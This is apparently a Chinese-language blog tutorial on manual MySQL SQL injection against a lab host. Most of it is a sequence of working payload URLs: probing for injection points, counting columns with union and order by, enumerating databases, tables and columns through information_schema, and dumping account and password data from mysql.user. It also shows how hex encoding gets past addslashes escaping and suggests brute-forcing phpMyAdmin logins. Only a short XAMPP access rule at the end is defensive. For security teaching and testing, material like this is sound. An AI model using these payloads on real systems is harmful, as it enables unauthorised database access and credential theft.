根据可控参数的类型不同, 对注入类型分类:
1. 数字型
select * from table where id=1
2. 字符型
select * from table where username='root'
3. 搜索型
select * from table where id like '%root%'
4. 关于注释:
注入时, 在查询参数中使用注释需要url编码, 例如:
'#' 使用 '%23'
'--空格' 使用 '--+'
'/* */'
http://192.168.112.200/security/read.php?id=1' 页面异常或报错
结论: 可能存在注入点, 进一步使用逻辑测试
http://192.168.112.200/security/read.php?id=1 and 1=1 页面正常
http://192.168.112.200/security/read.php?id=1 and 1=2 页面异常
结论: 是数字型参数.
http://192.168.112.200/security/read.php?id=1 and 1=1 页面正常
http://192.168.112.200/security/read.php?id=1 and 1=2 页面也正常
结论: 不是数字型参数, 进一步使用单引号和注释测试
http://192.168.112.200/security/read.php?id=1' and 1=1 --+ 页面正常
http://192.168.112.200/security/read.php?id=1' and 1=2 --+ 页面异常
结论: 是字符型参数
本篇博文涉及到的注入的语句默认以数字型参数为基础, 如果是字符型参数, 则注入语句需要额外添加单引号与注释符号, 例如:
数字型:
http://192.168.112.200/security/read.php?id=1 union all select 1,2,3,4,5,6
字符型:
http://192.168.112.200/security/read.php?id=1' union all select 1,2,3,4,5,6 --+
union 注入首先需要探测有效的列数, 使整体 union 语句有效.
案例 url :
http://192.168.112.200/security/read.php?id=1
情景:
这个url的页面显示的是一本书的两条信息, 分别是 [书名] 与 [标题],
在服务器查询的表是 [book], 字段名是 [bookname], [title] .
假设 [book] 表一共有6个字段, 其中书名与标题分别是 第 3 列, 第 4 列.
测试过程:
http://192.168.112.200/security/read.php?id=-1 union select 1, 2 # 失败
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4 # 失败
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4, 5, 6 # 成功
select * from table order by 1
id=1 order by 20 # 失败
id=1 order by 10 # 失败
id=1 order by 8 # 失败
id=1 order by 7 # 失败
id=1 order by 6 # 成功, 说明最多是6列
得到有效列数之后, 就可以进行基本的注入测试了, 比如执行一些 sql 函数, 来获取数据库的基本信息.
因为前面已经探测出列号 3, 4 位置上可以在页面显示, 所以利用这两个位置显示我们需要的数据. 例如:
# 在网页上显示出当前查询的 数据库名 和 用户名
http://.../read.php??id=-1 union select 1,2,database(),user(),5,6
利用 mysql 内置的 information_schema 数据库查询
information_schema.schemata 表, 记录所有数据库名
字段:
schema_name 数据库名
information_schema.tables 表, 记录所有表名
字段:
table_schema 数据库名
table_name 表名
information_schema.columns 表, 记录所有列名
字段:
table_schema 数据库名
table_name 表名
column_name 列名
案例:
查询所有数据库的名称
方式1: 从 information_schema.schemata 表查询(包括不含表的空数据库)
?id=-1 union select 1,2,3,
(select group_concat(schema_name) from information_schema.schemata) , 5,6
方式2: 从 information_schema.tables 表查询(不包括空数据库)
?id=-1 union select 1,2,3,
(select group_concat( distinct( table_schema ) ) from information_schema.tables) , 5,6
查询已知库中的表名, 使用 limit n, m 每次查询一个表:
# 第一张表:
?id=-1 union select 1,2,3,
(select table_name from information_schema.tables where table_schema='learn' limit 0,1) ,5,6
# 第二张表:
?id=-1 union select 1,2,3,
(select table_name from information_schema.tables where table_schema='learn' limit 1,1) ,5,6
# 第三张表:
?id=-1 union select 1,2,3,
(select table_name from information_schema.tables where table_schema='learn' limit 2,1) ,5,6
(技巧) 使用 group_concat() 函数, 将多行数据合并为一行字符串, 显示所有表名, 逗号间隔
# 显示 learn 库的所有表
?id=-1 union select 1,2,3,
(select group_concat(table_name) from information_schema.tables
where table_schema='learn') , 5,6
使用 group_concat() 函数合并所有行上的数据为一行字符串, 逗号间隔
# 显示 learn 库, user 表的所有列名
?id=-1 union select 1,2,3,
(select group_concat(column_name) from information_schema.columns
where table_schema='learn' and table_name='user'),5,6
使用内置表 mysql.user 查询 root 账户信息
# mysql.user 表中记录所有数据库账户信息
?id=-1 union select 1,2,3,
(select concat(user, '|', password) from mysql.user limit 1) , 5,6
(技巧) 使用 group_concat() 函数 与 concat_ws() 函数, 合并多行多列数据
# concat_ws() 指定分隔符, 合并多列数据为一行字符串
?id=-1 union select 1,2,3,
(select concat_ws("|", user, password, host) from mysql.use limit 1), 5,6
# 与 group_concat() 组合, 先将多列数据连接为一行字符串, 在合并多行字符串.
?id=-1 union select 1,2,3,
(select group_concat( concat_ws("|", user, password, host) ) from mysql.user ) , 5,6
原因:
如果后台代码对提交的参数中的单引号做了转义处理: addslashes($_GET[‘id’])
此时注入的sql中单引号不起作用: where table_schema=‘learn’
解决办法:
将字符串转16进制再注入, 例如:
# 普通字符串与十六进制相互转换
select hex('learn') 结果: 6C6561726E
select unhex('6C6561726E') 结果: learn
注入:
# 使用十六进制代替原本的普通字符串, 绕过单引号转义.
# where table_schema='learn'
?id=-1 union select 1,2,3,
(select group_concat(table_name) from information_schema.tables
where table_schema=0x6C6561726E), 5,6
攻击:
尝试访问 /phpmyadmin, 如果配置认证方式为默认的: config, 则从网页可以直接进入后台,
如果认证方式为: http, 则需要输入用户名和密码登录, 可爆破.
防御:
禁用phpmyadmin远程访问, 例如xampp环境:
# 配置文件路径:
/opt/lampp/etc/extra/httpd-xampp.conf
# since XAMPP 1.4.3
<Directory "/opt/lampp/phpmyadmin">
AllowOverride AuthConfig Limit
Require local # 只允许本地访问
# Require all granted # 允许所有IP访问
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</Directory>